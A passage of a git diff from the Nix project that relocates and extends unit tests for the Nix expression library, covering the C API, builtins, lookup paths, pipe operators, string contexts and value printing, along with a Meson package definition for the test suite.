ASSERT_EQ(nullptr, nix_get_attr_name_byidx(ctx, nullptr, state, 0)); + assert_ctx_err(); + ASSERT_EQ(0, nix_get_attrs_size(ctx, nullptr)); + assert_ctx_err(); + ASSERT_EQ(false, nix_has_attr_byname(ctx, nullptr, state, "no-value")); + assert_ctx_err(); + + ASSERT_EQ(nullptr, nix_get_attr_byname(ctx, value, state, 0)); + assert_ctx_err(); + ASSERT_EQ(nullptr, nix_get_attr_byidx(ctx, value, state, 0, nullptr)); + assert_ctx_err(); + ASSERT_EQ(nullptr, nix_get_attr_name_byidx(ctx, value, state, 0)); + assert_ctx_err(); + ASSERT_EQ(0, nix_get_attrs_size(ctx, value)); + assert_ctx_err(); + ASSERT_EQ(false, nix_has_attr_byname(ctx, value, state, "no-value")); + assert_ctx_err(); +} + +TEST_F(nix_api_expr_test, nix_build_and_init_attr) +{ + int size = 10; + const char ** out_name = (const char **) malloc(sizeof(char *)); + + BindingsBuilder * builder = nix_make_bindings_builder(ctx, state, size); + + nix_value * intValue = nix_alloc_value(ctx, state); + nix_init_int(ctx, intValue, 42); + + nix_value * stringValue = nix_alloc_value(ctx, state); + nix_init_string(ctx, stringValue, "foo"); + + nix_bindings_builder_insert(ctx, builder, "a", intValue); + nix_bindings_builder_insert(ctx, builder, "b", stringValue); + nix_make_attrs(ctx, value, builder); + nix_bindings_builder_free(builder); + + ASSERT_EQ(2, nix_get_attrs_size(ctx, value)); + + nix_value * out_value = nix_get_attr_byname(ctx, value, state, "a"); + ASSERT_EQ(42, nix_get_int(ctx, out_value)); + nix_gc_decref(ctx, out_value); + + out_value = nix_get_attr_byidx(ctx, value, state, 0, out_name); + ASSERT_EQ(42, nix_get_int(ctx, out_value)); + ASSERT_STREQ("a", *out_name); + nix_gc_decref(ctx, out_value); + + ASSERT_STREQ("a", nix_get_attr_name_byidx(ctx, value, state, 0)); + + ASSERT_EQ(true, nix_has_attr_byname(ctx, value, state, "b")); + ASSERT_EQ(false, nix_has_attr_byname(ctx, value, state, "no-value")); + + out_value = nix_get_attr_byname(ctx, value, state, "b"); + std::string string_value; + nix_get_string(ctx, out_value, OBSERVE_STRING(string_value)); + ASSERT_STREQ("foo", string_value.c_str()); + nix_gc_decref(nullptr, out_value); + + out_value = nix_get_attr_byidx(ctx, value, state, 1, out_name); + nix_get_string(ctx, out_value, OBSERVE_STRING(string_value)); + ASSERT_STREQ("foo", string_value.c_str()); + ASSERT_STREQ("b", *out_name); + nix_gc_decref(nullptr, out_value); + + ASSERT_STREQ("b", nix_get_attr_name_byidx(ctx, value, state, 1)); + + ASSERT_STREQ("a set", nix_get_typename(ctx, value)); + ASSERT_EQ(NIX_TYPE_ATTRS, nix_get_type(ctx, value)); + + // Clean up + nix_gc_decref(ctx, intValue); + nix_gc_decref(ctx, stringValue); + free(out_name); +} + +TEST_F(nix_api_expr_test, nix_value_init) +{ + // Setup + + // two = 2; + // f = a: a * a; + + nix_value * two = nix_alloc_value(ctx, state); + nix_init_int(ctx, two, 2); + + nix_value * f = nix_alloc_value(ctx, state); + nix_expr_eval_from_string( + ctx, + state, + R"( + a: a * a + )", + "", + f); + + // Test + + // r = f two; + + nix_value * r = nix_alloc_value(ctx, state); + nix_init_apply(ctx, r, f, two); + assert_ctx_ok(); + + ValueType t = nix_get_type(ctx, r); + assert_ctx_ok(); + + ASSERT_EQ(t, NIX_TYPE_THUNK); + + nix_value_force(ctx, state, r); + + t = nix_get_type(ctx, r); + assert_ctx_ok(); + + ASSERT_EQ(t, NIX_TYPE_INT); + + int n = nix_get_int(ctx, r); + assert_ctx_ok(); + + ASSERT_EQ(n, 4); + + // Clean up + nix_gc_decref(ctx, two); + nix_gc_decref(ctx, f); + nix_gc_decref(ctx, r); +} + +TEST_F(nix_api_expr_test, nix_value_init_apply_error) +{ + nix_value * some_string = nix_alloc_value(ctx, state); + nix_init_string(ctx, some_string, "some string"); + assert_ctx_ok(); + + nix_value * v = nix_alloc_value(ctx, state); + nix_init_apply(ctx, v, some_string, some_string); + assert_ctx_ok(); + + // All ok. Call has not been evaluated yet. + + // Evaluate it + nix_value_force(ctx, state, v); + ASSERT_EQ(ctx->last_err_code, NIX_ERR_NIX_ERROR); + ASSERT_THAT(ctx->last_err.value(), testing::HasSubstr("attempt to call something which is not a function but")); + + // Clean up + nix_gc_decref(ctx, some_string); + nix_gc_decref(ctx, v); +} + +TEST_F(nix_api_expr_test, nix_value_init_apply_lazy_arg) +{ + // f is a lazy function: it does not evaluate its argument before returning its return value + // g is a helper to produce e + // e is a thunk that throws an exception + // + // r = f e + // r should not throw an exception, because e is not evaluated + + nix_value * f = nix_alloc_value(ctx, state); + nix_expr_eval_from_string( + ctx, + state, + R"( + a: { foo = a; } + )", + "", + f); + assert_ctx_ok(); + + nix_value * e = nix_alloc_value(ctx, state); + { + nix_value * g = nix_alloc_value(ctx, state); + nix_expr_eval_from_string( + ctx, + state, + R"( + _ignore: throw "error message for test case nix_value_init_apply_lazy_arg" + )", + "", + g); + assert_ctx_ok(); + + nix_init_apply(ctx, e, g, g); + assert_ctx_ok(); + nix_gc_decref(ctx, g); + } + + nix_value * r = nix_alloc_value(ctx, state); + nix_init_apply(ctx, r, f, e); + assert_ctx_ok(); + + nix_value_force(ctx, state, r); + assert_ctx_ok(); + + auto n = nix_get_attrs_size(ctx, r); + assert_ctx_ok(); + ASSERT_EQ(1, n); + + // nix_get_attr_byname isn't lazy (it could have been) so it will throw the exception + nix_value * foo = nix_get_attr_byname(ctx, r, state, "foo"); + ASSERT_EQ(nullptr, foo); + ASSERT_THAT(ctx->last_err.value(), testing::HasSubstr("error message for test case nix_value_init_apply_lazy_arg")); + + // Clean up + nix_gc_decref(ctx, f); + nix_gc_decref(ctx, e); +} + +TEST_F(nix_api_expr_test, nix_copy_value) +{ + nix_value * source = nix_alloc_value(ctx, state); + + nix_init_int(ctx, source, 42); + nix_copy_value(ctx, value, source); + + ASSERT_EQ(42, nix_get_int(ctx, value)); + + // Clean up + nix_gc_decref(ctx, source); +} + +} diff --git a/tests/unit/libexpr/package.nix b/tests/unit/libexpr/package.nix new file mode 100644 index 000000000..e70ed7836 --- /dev/null +++ b/tests/unit/libexpr/package.nix @@ -0,0 +1,98 @@ +{ lib +, buildPackages +, stdenv +, mkMesonDerivation +, releaseTools + +, meson +, ninja +, pkg-config + +, nix-expr +, nix-expr-c +, nix-expr-test-support + +, rapidcheck +, gtest +, runCommand + +# Configuration Options + +, version +, resolvePath +}: + +let + inherit (lib) fileset; +in + +mkMesonDerivation (finalAttrs: { + pname = "nix-expr-tests"; + inherit version; + + workDir = ./.; + fileset = fileset.unions [ + ../../../build-utils-meson + ./build-utils-meson + ../../../.version + ./.version + ./meson.build + # ./meson.options + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + ]; + + buildInputs = [ + nix-expr + nix-expr-c + nix-expr-test-support + rapidcheck + gtest + ]; + + preConfigure = + # "Inline" .version so it's not a symlink, and includes the suffix. + # Do the meson utils, without modification. + '' + chmod u+w ./.version + echo ${version} > ../../../.version + ''; + + mesonFlags = [ + ]; + + env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { + LDFLAGS = "-fuse-ld=gold"; + }; + + separateDebugInfo = !stdenv.hostPlatform.isStatic; + + hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; + + passthru = { + tests = { + run = runCommand "${finalAttrs.pname}-run" { + meta.broken = !stdenv.hostPlatform.emulatorAvailable buildPackages; + } (lib.optionalString stdenv.hostPlatform.isWindows '' + export HOME="$PWD/home-dir" + mkdir -p "$HOME" + '' + '' + export _NIX_TEST_UNIT_DATA=${resolvePath ./data} + ${stdenv.hostPlatform.emulator buildPackages} ${lib.getExe finalAttrs.finalPackage} + touch $out + ''); + }; + }; + + meta = { + platforms = lib.platforms.unix ++ lib.platforms.windows; + mainProgram = finalAttrs.pname + stdenv.hostPlatform.extensions.executable; + }; + +}) diff --git a/src/libexpr/tests/primops.cc b/tests/unit/libexpr/primops.cc similarity index 89% rename from src/libexpr/tests/primops.cc rename to tests/unit/libexpr/primops.cc index 49fbc5e98..5b5898237 100644 --- a/src/libexpr/tests/primops.cc +++ b/tests/unit/libexpr/primops.cc @@ -1,7 +1,10 @@ #include #include -#include "libexprtests.hh" +#include "eval-settings.hh" +#include "memory-source-accessor.hh" + +#include "tests/libexpr.hh" namespace nix { class CaptureLogger : public Logger @@ -15,8 +18,8 @@ namespace nix { return oss.str(); } - void log(Verbosity lvl, const FormatOrString & fs) override { - oss << fs.s << std::endl; + void log(Verbosity lvl, std::string_view s) override { + oss << s << std::endl; } void logEI(const ErrorInfo & ei) override { @@ -69,7 +72,7 @@ namespace nix { auto v = eval("builtins.tryEval (throw \"\")"); ASSERT_THAT(v, IsAttrsOfSize(2)); auto s = createSymbol("success"); - auto p = v.attrs->get(s); + auto p = v.attrs()->get(s); ASSERT_NE(p, nullptr); ASSERT_THAT(*p->value, IsFalse()); } @@ -78,17 +81,17 @@ namespace nix { auto v = eval("builtins.tryEval 123"); ASSERT_THAT(v, IsAttrs()); auto s = createSymbol("success"); - auto p = v.attrs->get(s); + auto p = v.attrs()->get(s); ASSERT_NE(p, nullptr); ASSERT_THAT(*p->value, IsTrue()); s = createSymbol("value"); - p = v.attrs->get(s); + p = v.attrs()->get(s); ASSERT_NE(p, nullptr); ASSERT_THAT(*p->value, IsIntEq(123)); } TEST_F(PrimOpTest, getEnv) { - setenv("_NIX_UNIT_TEST_ENV_VALUE", "test value", 1); + setEnv("_NIX_UNIT_TEST_ENV_VALUE", "test value"); auto v = eval("builtins.getEnv \"_NIX_UNIT_TEST_ENV_VALUE\""); ASSERT_THAT(v, IsStringEq("test value")); } @@ -148,10 +151,27 @@ namespace nix { } TEST_F(PrimOpTest, unsafeGetAttrPos) { - // The `y` attribute is at position - const char* expr = "builtins.unsafeGetAttrPos \"y\" { y = \"x\"; }"; + state.corepkgsFS->addFile(CanonPath("foo.nix"), "\n\r\n\r{ y = \"x\"; }"); + + auto expr = "builtins.unsafeGetAttrPos \"y\" (import )"; auto v = eval(expr); - ASSERT_THAT(v, IsNull()); + ASSERT_THAT(v, IsAttrsOfSize(3)); + + auto file = v.attrs()->find(createSymbol("file")); + ASSERT_NE(file, nullptr); + ASSERT_THAT(*file->value, IsString()); + auto s = baseNameOf(file->value->string_view()); + ASSERT_EQ(s, "foo.nix"); + + auto line = v.attrs()->find(createSymbol("line")); + ASSERT_NE(line, nullptr); + state.forceValue(*line->value, noPos); + ASSERT_THAT(*line->value, IsIntEq(4)); + + auto column = v.attrs()->find(createSymbol("column")); + ASSERT_NE(column, nullptr); + state.forceValue(*column->value, noPos); + ASSERT_THAT(*column->value, IsIntEq(3)); } TEST_F(PrimOpTest, hasAttr) { @@ -182,14 +202,14 @@ namespace nix { TEST_F(PrimOpTest, removeAttrsRetains) { auto v = eval("builtins.removeAttrs { x = 1; y = 2; } [\"x\"]"); ASSERT_THAT(v, IsAttrsOfSize(1)); - ASSERT_NE(v.attrs->find(createSymbol("y")), nullptr); + ASSERT_NE(v.attrs()->find(createSymbol("y")), nullptr); } TEST_F(PrimOpTest, listToAttrsEmptyList) { auto v = eval("builtins.listToAttrs []"); ASSERT_THAT(v, IsAttrsOfSize(0)); ASSERT_EQ(v.type(), nAttrs); - ASSERT_EQ(v.attrs->size(), 0); + ASSERT_EQ(v.attrs()->size(), 0); } TEST_F(PrimOpTest, listToAttrsNotFieldName) { @@ -199,7 +219,7 @@ namespace nix { TEST_F(PrimOpTest, listToAttrs) { auto v = eval("builtins.listToAttrs [ { name = \"key\"; value = 123; } ]"); ASSERT_THAT(v, IsAttrsOfSize(1)); - auto key = v.attrs->find(createSymbol("key")); + auto key = v.attrs()->find(createSymbol("key")); ASSERT_NE(key, nullptr); ASSERT_THAT(*key->value, IsIntEq(123)); } @@ -207,7 +227,7 @@ namespace nix { TEST_F(PrimOpTest, intersectAttrs) { auto v = eval("builtins.intersectAttrs { a = 1; b = 2; } { b = 3; c = 4; }"); ASSERT_THAT(v, IsAttrsOfSize(1)); - auto b = v.attrs->find(createSymbol("b")); + auto b = v.attrs()->find(createSymbol("b")); ASSERT_NE(b, nullptr); ASSERT_THAT(*b->value, IsIntEq(3)); } @@ -223,11 +243,11 @@ namespace nix { auto v = eval("builtins.functionArgs ({ x, y ? 123}: 1)"); ASSERT_THAT(v, IsAttrsOfSize(2)); - auto x = v.attrs->find(createSymbol("x")); + auto x = v.attrs()->find(createSymbol("x")); ASSERT_NE(x, nullptr); ASSERT_THAT(*x->value, IsFalse()); - auto y = v.attrs->find(createSymbol("y")); + auto y = v.attrs()->find(createSymbol("y")); ASSERT_NE(y, nullptr); ASSERT_THAT(*y->value, IsTrue()); } @@ -236,13 +256,13 @@ namespace nix { auto v = eval("builtins.mapAttrs (name: value: value * 10) { a = 1; b = 2; }"); ASSERT_THAT(v, IsAttrsOfSize(2)); - auto a = v.attrs->find(createSymbol("a")); + auto a = v.attrs()->find(createSymbol("a")); ASSERT_NE(a, nullptr); ASSERT_THAT(*a->value, IsThunk()); state.forceValue(*a->value, noPos); ASSERT_THAT(*a->value, IsIntEq(10)); - auto b = v.attrs->find(createSymbol("b")); + auto b = v.attrs()->find(createSymbol("b")); ASSERT_NE(b, nullptr); ASSERT_THAT(*b->value, IsThunk()); state.forceValue(*b->value, noPos); @@ -390,13 +410,13 @@ namespace nix { auto v = eval("builtins.partition (x: x > 10) [1 23 9 3 42]"); ASSERT_THAT(v, IsAttrsOfSize(2)); - auto right = v.attrs->get(createSymbol("right")); + auto right = v.attrs()->get(createSymbol("right")); ASSERT_NE(right, nullptr); ASSERT_THAT(*right->value, IsListOfSize(2)); ASSERT_THAT(*right->value->listElems()[0], IsIntEq(23)); ASSERT_THAT(*right->value->listElems()[1], IsIntEq(42)); - auto wrong = v.attrs->get(createSymbol("wrong")); + auto wrong = v.attrs()->get(createSymbol("wrong")); ASSERT_NE(wrong, nullptr); ASSERT_EQ(wrong->value->type(), nList); ASSERT_EQ(wrong->value->listSize(), 3); @@ -586,7 +606,7 @@ namespace nix { ASSERT_THAT(v, IsStringEq("401b09eab3c013d4ca54922bb802bec8fd5318192b0a75f201d8b3727429080fb337591abd3e44453b954555b7a0812e1081c39b740293f765eae731f5a65ed1")); } - TEST_F(PrimOpTest, hashStringInvalidHashType) { + TEST_F(PrimOpTest, hashStringInvalidHashAlgorithm) { ASSERT_THROW(eval("builtins.hashString \"foobar\" \"asdf\""), Error); } @@ -604,7 +624,7 @@ namespace nix { TEST_F(PrimOpTest, storeDir) { auto v = eval("builtins.storeDir"); - ASSERT_THAT(v, IsStringEq("/nix/store")); + ASSERT_THAT(v, IsStringEq(settings.nixStore)); } TEST_F(PrimOpTest, nixVersion) { @@ -614,21 +634,21 @@ namespace nix { TEST_F(PrimOpTest, currentSystem) { auto v = eval("builtins.currentSystem"); - ASSERT_THAT(v, IsStringEq(settings.thisSystem.get())); + ASSERT_THAT(v, IsStringEq(evalSettings.getCurrentSystem())); } TEST_F(PrimOpTest, derivation) { auto v = eval("derivation"); ASSERT_EQ(v.type(), nFunction); ASSERT_TRUE(v.isLambda()); - ASSERT_NE(v.lambda.fun, nullptr); - ASSERT_TRUE(v.lambda.fun->hasFormals()); + ASSERT_NE(v.payload.lambda.fun, nullptr); + ASSERT_TRUE(v.payload.lambda.fun->hasFormals()); } TEST_F(PrimOpTest, currentTime) { auto v = eval("builtins.currentTime"); ASSERT_EQ(v.type(), nInt); - ASSERT_TRUE(v.integer > 0); + ASSERT_TRUE(v.integer() > 0); } TEST_F(PrimOpTest, splitVersion) { @@ -689,11 +709,11 @@ namespace nix { auto v = eval(expr); ASSERT_THAT(v, IsAttrsOfSize(2)); - auto name = v.attrs->find(createSymbol("name")); + auto name = v.attrs()->find(createSymbol("name")); ASSERT_TRUE(name); ASSERT_THAT(*name->value, IsStringEq(expectedName)); - auto version = v.attrs->find(createSymbol("version")); + auto version = v.attrs()->find(createSymbol("version")); ASSERT_TRUE(version); ASSERT_THAT(*version->value, IsStringEq(expectedVersion)); } @@ -711,14 +731,14 @@ namespace nix { // FIXME: add a test that verifies the string context is as expected auto v = eval("builtins.replaceStrings [\"oo\" \"a\"] [\"a\" \"i\"] \"foobar\""); ASSERT_EQ(v.type(), nString); - ASSERT_EQ(v.string.s, std::string_view("fabir")); + ASSERT_EQ(v.string_view(), "fabir"); } TEST_F(PrimOpTest, concatStringsSep) { // FIXME: add a test that verifies the string context is as expected auto v = eval("builtins.concatStringsSep \"%\" [\"foo\" \"bar\" \"baz\"]"); ASSERT_EQ(v.type(), nString); - ASSERT_EQ(std::string_view(v.string.s), "foo%bar%baz"); + ASSERT_EQ(v.string_view(), "foo%bar%baz"); } TEST_F(PrimOpTest, split1) { @@ -814,6 +834,14 @@ namespace nix { ASSERT_THAT(*v.listElems()[0], IsStringEq("FOO")); } + TEST_F(PrimOpTest, match5) { + // The regex "\\{}" is valid and matches the string "{}". + // Caused a regression before when trying to switch from std::regex to boost::regex. + // See https://github.com/NixOS/nix/pull/7762#issuecomment-1834303659 + auto v = eval("builtins.match \"\\\\{}\" \"{}\""); + ASSERT_THAT(v, IsListOfSize(0)); + } + TEST_F(PrimOpTest, attrNames) { auto v = eval("builtins.attrNames { x = 1; y = 2; z = 3; a = 2; }"); ASSERT_THAT(v, IsListOfSize(4)); @@ -823,4 +851,10 @@ namespace nix { for (const auto [n, elem] : enumerate(v.listItems())) ASSERT_THAT(*elem, IsStringEq(expected[n])); } + + TEST_F(PrimOpTest, genericClosure_not_strict) { + // Operator should not be used when startSet is empty + auto v = eval("builtins.genericClosure { startSet = []; }"); + ASSERT_THAT(v, IsListOfSize(0)); + } } /* namespace nix */ diff --git a/tests/unit/libexpr/search-path.cc b/tests/unit/libexpr/search-path.cc new file mode 100644 index 000000000..080679355 --- /dev/null +++ b/tests/unit/libexpr/search-path.cc @@ -0,0 +1,90 @@ +#include +#include + +#include "search-path.hh" + +namespace nix { + +TEST(LookupPathElem, parse_justPath) { + ASSERT_EQ( + LookupPath::Elem::parse("foo"), + (LookupPath::Elem { + .prefix = LookupPath::Prefix { .s = "" }, + .path = LookupPath::Path { .s = "foo" }, + })); +} + +TEST(LookupPathElem, parse_emptyPrefix) { + ASSERT_EQ( + LookupPath::Elem::parse("=foo"), + (LookupPath::Elem { + .prefix = LookupPath::Prefix { .s = "" }, + .path = LookupPath::Path { .s = "foo" }, + })); +} + +TEST(LookupPathElem, parse_oneEq) { + ASSERT_EQ( + LookupPath::Elem::parse("foo=bar"), + (LookupPath::Elem { + .prefix = LookupPath::Prefix { .s = "foo" }, + .path = LookupPath::Path { .s = "bar" }, + })); +} + +TEST(LookupPathElem, parse_twoEqs) { + ASSERT_EQ( + LookupPath::Elem::parse("foo=bar=baz"), + (LookupPath::Elem { + .prefix = LookupPath::Prefix { .s = "foo" }, + .path = LookupPath::Path { .s = "bar=baz" }, + })); +} + + +TEST(LookupPathElem, suffixIfPotentialMatch_justPath) { + LookupPath::Prefix prefix { .s = "" }; + ASSERT_EQ(prefix.suffixIfPotentialMatch("any/thing"), std::optional { "any/thing" }); +} + +TEST(LookupPathElem, suffixIfPotentialMatch_misleadingPrefix1) { + LookupPath::Prefix prefix { .s = "foo" }; + ASSERT_EQ(prefix.suffixIfPotentialMatch("fooX"), std::nullopt); +} + +TEST(LookupPathElem, suffixIfPotentialMatch_misleadingPrefix2) { + LookupPath::Prefix prefix { .s = "foo" }; + ASSERT_EQ(prefix.suffixIfPotentialMatch("fooX/bar"), std::nullopt); +} + +TEST(LookupPathElem, suffixIfPotentialMatch_partialPrefix) { + LookupPath::Prefix prefix { .s = "fooX" }; + ASSERT_EQ(prefix.suffixIfPotentialMatch("foo"), std::nullopt); +} + +TEST(LookupPathElem, suffixIfPotentialMatch_exactPrefix) { + LookupPath::Prefix prefix { .s = "foo" }; + ASSERT_EQ(prefix.suffixIfPotentialMatch("foo"), std::optional { "" }); +} + +TEST(LookupPathElem, suffixIfPotentialMatch_multiKey) { + LookupPath::Prefix prefix { .s = "foo/bar" }; + ASSERT_EQ(prefix.suffixIfPotentialMatch("foo/bar/baz"), std::optional { "baz" }); +} + +TEST(LookupPathElem, suffixIfPotentialMatch_trailingSlash) { + LookupPath::Prefix prefix { .s = "foo" }; + ASSERT_EQ(prefix.suffixIfPotentialMatch("foo/"), std::optional { "" }); +} + +TEST(LookupPathElem, suffixIfPotentialMatch_trailingDoubleSlash) { + LookupPath::Prefix prefix { .s = "foo" }; + ASSERT_EQ(prefix.suffixIfPotentialMatch("foo//"), std::optional { "/" }); +} + +TEST(LookupPathElem, suffixIfPotentialMatch_trailingPath) { + LookupPath::Prefix prefix { .s = "foo" }; + ASSERT_EQ(prefix.suffixIfPotentialMatch("foo/bar/baz"), std::optional { "bar/baz" }); +} + +} diff --git a/src/libexpr/tests/trivial.cc b/tests/unit/libexpr/trivial.cc similarity index 72% rename from src/libexpr/tests/trivial.cc rename to tests/unit/libexpr/trivial.cc index 8ce276e52..e455a571b 100644 --- a/src/libexpr/tests/trivial.cc +++ b/tests/unit/libexpr/trivial.cc @@ -1,4 +1,4 @@ -#include "libexprtests.hh" +#include "tests/libexpr.hh" namespace nix { // Testing of trivial expressions @@ -62,11 +62,11 @@ namespace nix { TEST_F(TrivialExpressionTest, updateAttrs) { auto v = eval("{ a = 1; } // { b = 2; a = 3; }"); ASSERT_THAT(v, IsAttrsOfSize(2)); - auto a = v.attrs->find(createSymbol("a")); + auto a = v.attrs()->find(createSymbol("a")); ASSERT_NE(a, nullptr); ASSERT_THAT(*a->value, IsIntEq(3)); - auto b = v.attrs->find(createSymbol("b")); + auto b = v.attrs()->find(createSymbol("b")); ASSERT_NE(b, nullptr); ASSERT_THAT(*b->value, IsIntEq(2)); } @@ -151,7 +151,7 @@ namespace nix { auto v = eval(expr); ASSERT_THAT(v, IsAttrsOfSize(1)); - auto a = v.attrs->find(createSymbol("a")); + auto a = v.attrs()->find(createSymbol("a")); ASSERT_NE(a, nullptr); ASSERT_THAT(*a->value, IsThunk()); @@ -159,11 +159,11 @@ namespace nix { ASSERT_THAT(*a->value, IsAttrsOfSize(2)); - auto b = a->value->attrs->find(createSymbol("b")); + auto b = a->value->attrs()->find(createSymbol("b")); ASSERT_NE(b, nullptr); ASSERT_THAT(*b->value, IsIntEq(1)); - auto c = a->value->attrs->find(createSymbol("c")); + auto c = a->value->attrs()->find(createSymbol("c")); ASSERT_NE(c, nullptr); ASSERT_THAT(*c->value, IsIntEq(2)); } @@ -182,10 +182,64 @@ namespace nix { ASSERT_THAT(v, IsIntEq(15)); } + TEST_F(TrivialExpressionTest, forwardPipe) { + auto v = eval("1 |> builtins.add 2 |> builtins.mul 3"); + ASSERT_THAT(v, IsIntEq(9)); + } + + TEST_F(TrivialExpressionTest, backwardPipe) { + auto v = eval("builtins.add 1 <| builtins.mul 2 <| 3"); + ASSERT_THAT(v, IsIntEq(7)); + } + + TEST_F(TrivialExpressionTest, forwardPipeEvaluationOrder) { + auto v = eval("1 |> null |> (x: 2)"); + ASSERT_THAT(v, IsIntEq(2)); + } + + TEST_F(TrivialExpressionTest, backwardPipeEvaluationOrder) { + auto v = eval("(x: 1) <| null <| 2"); + ASSERT_THAT(v, IsIntEq(1)); + } + + TEST_F(TrivialExpressionTest, differentPipeOperatorsDoNotAssociate) { + ASSERT_THROW(eval("(x: 1) <| 2 |> (x: 3)"), ParseError); + } + + TEST_F(TrivialExpressionTest, differentPipeOperatorsParensLeft) { + auto v = eval("((x: 1) <| 2) |> (x: 3)"); + ASSERT_THAT(v, IsIntEq(3)); + } + + TEST_F(TrivialExpressionTest, differentPipeOperatorsParensRight) { + auto v = eval("(x: 1) <| (2 |> (x: 3))"); + ASSERT_THAT(v, IsIntEq(1)); + } + + TEST_F(TrivialExpressionTest, forwardPipeLowestPrecedence) { + auto v = eval("false -> true |> (x: !x)"); + ASSERT_THAT(v, IsFalse()); + } + + TEST_F(TrivialExpressionTest, backwardPipeLowestPrecedence) { + auto v = eval("(x: !x) <| false -> true"); + ASSERT_THAT(v, IsFalse()); + } + + TEST_F(TrivialExpressionTest, forwardPipeStrongerThanElse) { + auto v = eval("if true then 1 else 2 |> 3"); + ASSERT_THAT(v, IsIntEq(1)); + } + + TEST_F(TrivialExpressionTest, backwardPipeStrongerThanElse) { + auto v = eval("if true then 1 else 2 <| 3"); + ASSERT_THAT(v, IsIntEq(1)); + } + TEST_F(TrivialExpressionTest, bindOr) { auto v = eval("{ or = 1; }"); ASSERT_THAT(v, IsAttrsOfSize(1)); - auto b = v.attrs->find(createSymbol("or")); + auto b = v.attrs()->find(createSymbol("or")); ASSERT_NE(b, nullptr); ASSERT_THAT(*b->value, IsIntEq(1)); } diff --git a/tests/unit/libexpr/value/context.cc b/tests/unit/libexpr/value/context.cc new file mode 100644 index 000000000..761286dbd --- /dev/null +++ b/tests/unit/libexpr/value/context.cc @@ -0,0 +1,132 @@ +#include +#include +#include + +#include "tests/path.hh" +#include "tests/libexpr.hh" +#include "tests/value/context.hh" + +namespace nix { + +// Test a few cases of invalid string context elements. + +TEST(NixStringContextElemTest, empty_invalid) { + EXPECT_THROW( + NixStringContextElem::parse(""), + BadNixStringContextElem); +} + +TEST(NixStringContextElemTest, single_bang_invalid) { + EXPECT_THROW( + NixStringContextElem::parse("!"), + BadNixStringContextElem); +} + +TEST(NixStringContextElemTest, double_bang_invalid) { + EXPECT_THROW( + NixStringContextElem::parse("!!/"), + BadStorePath); +} + +TEST(NixStringContextElemTest, eq_slash_invalid) { + EXPECT_THROW( + NixStringContextElem::parse("=/"), + BadStorePath); +} + +TEST(NixStringContextElemTest, slash_invalid) { + EXPECT_THROW( + NixStringContextElem::parse("/"), + BadStorePath); +} + +/** + * Round trip (string <-> data structure) test for + * `NixStringContextElem::Opaque`. + */ +TEST(NixStringContextElemTest, opaque) { + std::string_view opaque = "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-x"; + auto elem = NixStringContextElem::parse(opaque); + auto * p = std::get_if(&elem.raw); + ASSERT_TRUE(p); + ASSERT_EQ(p->path, StorePath { opaque }); + ASSERT_EQ(elem.to_string(), opaque); +} + +/** + * Round trip (string <-> data structure) test for + * `NixStringContextElem::DrvDeep`. + */ +TEST(NixStringContextElemTest, drvDeep) { + std::string_view drvDeep = "=g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-x.drv"; + auto elem = NixStringContextElem::parse(drvDeep); + auto * p = std::get_if(&elem.raw); + ASSERT_TRUE(p); + ASSERT_EQ(p->drvPath, StorePath { drvDeep.substr(1) }); + ASSERT_EQ(elem.to_string(), drvDeep); +} + +/** + * Round trip (string <-> data structure) test for a simpler + * `NixStringContextElem::Built`. + */ +TEST(NixStringContextElemTest, built_opaque) { + std::string_view built = "!foo!g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-x.drv"; + auto elem = NixStringContextElem::parse(built); + auto * p = std::get_if(&elem.raw); + ASSERT_TRUE(p); + ASSERT_EQ(p->output, "foo"); + ASSERT_EQ(*p->drvPath, ((SingleDerivedPath) SingleDerivedPath::Opaque { + .path = StorePath { built.substr(5) }, + })); + ASSERT_EQ(elem.to_string(), built); +} + +/** + * Round trip (string <-> data structure) test for a more complex, + * inductive `NixStringContextElem::Built`. + */ +TEST(NixStringContextElemTest, built_built) { + /** + * We set these in tests rather than the regular globals so we don't have + * to worry about race conditions if the tests run concurrently. + */ + ExperimentalFeatureSettings mockXpSettings; + mockXpSettings.set("experimental-features", "dynamic-derivations ca-derivations"); + + std::string_view built = "!foo!bar!g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-x.drv"; + auto elem = NixStringContextElem::parse(built, mockXpSettings); + auto * p = std::get_if(&elem.raw); + ASSERT_TRUE(p); + ASSERT_EQ(p->output, "foo"); + auto * drvPath = std::get_if(&*p->drvPath); + ASSERT_TRUE(drvPath); + ASSERT_EQ(drvPath->output, "bar"); + ASSERT_EQ(*drvPath->drvPath, ((SingleDerivedPath) SingleDerivedPath::Opaque { + .path = StorePath { built.substr(9) }, + })); + ASSERT_EQ(elem.to_string(), built); +} + +/** + * Without the right experimental features enabled, we cannot parse a + * complex inductive string context element. + */ +TEST(NixStringContextElemTest, built_built_xp) { + ASSERT_THROW( + NixStringContextElem::parse("!foo!bar!g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-x.drv"), MissingExperimentalFeature); +} + +#ifndef COVERAGE + +RC_GTEST_PROP( + NixStringContextElemTest, + prop_round_rip, + (const NixStringContextElem & o)) +{ + RC_ASSERT(o == NixStringContextElem::parse(o.to_string())); +} + +#endif + +} diff --git a/tests/unit/libexpr/value/print.cc b/tests/unit/libexpr/value/print.cc new file mode 100644 index 000000000..43b545035 --- /dev/null +++ b/tests/unit/libexpr/value/print.cc @@ -0,0 +1,788 @@ +#include "tests/libexpr.hh" + +#include "value.hh" +#include "print.hh" + +namespace nix { + +using namespace testing; + +struct ValuePrintingTests : LibExprTest +{ + template + void test(Value v, std::string_view expected, A... args) + { + std::stringstream out; + v.print(state, out, args...); + ASSERT_EQ(out.str(), expected); + } +}; + +TEST_F(ValuePrintingTests, tInt) +{ + Value vInt; + vInt.mkInt(10); + test(vInt, "10"); +} + +TEST_F(ValuePrintingTests, tBool) +{ + Value vBool; + vBool.mkBool(true); + test(vBool, "true"); +} + +TEST_F(ValuePrintingTests, tString) +{ + Value vString; + vString.mkString("some-string"); + test(vString, "\"some-string\""); +} + +TEST_F(ValuePrintingTests, tPath) +{ + Value vPath; + vPath.mkString("/foo"); + test(vPath, 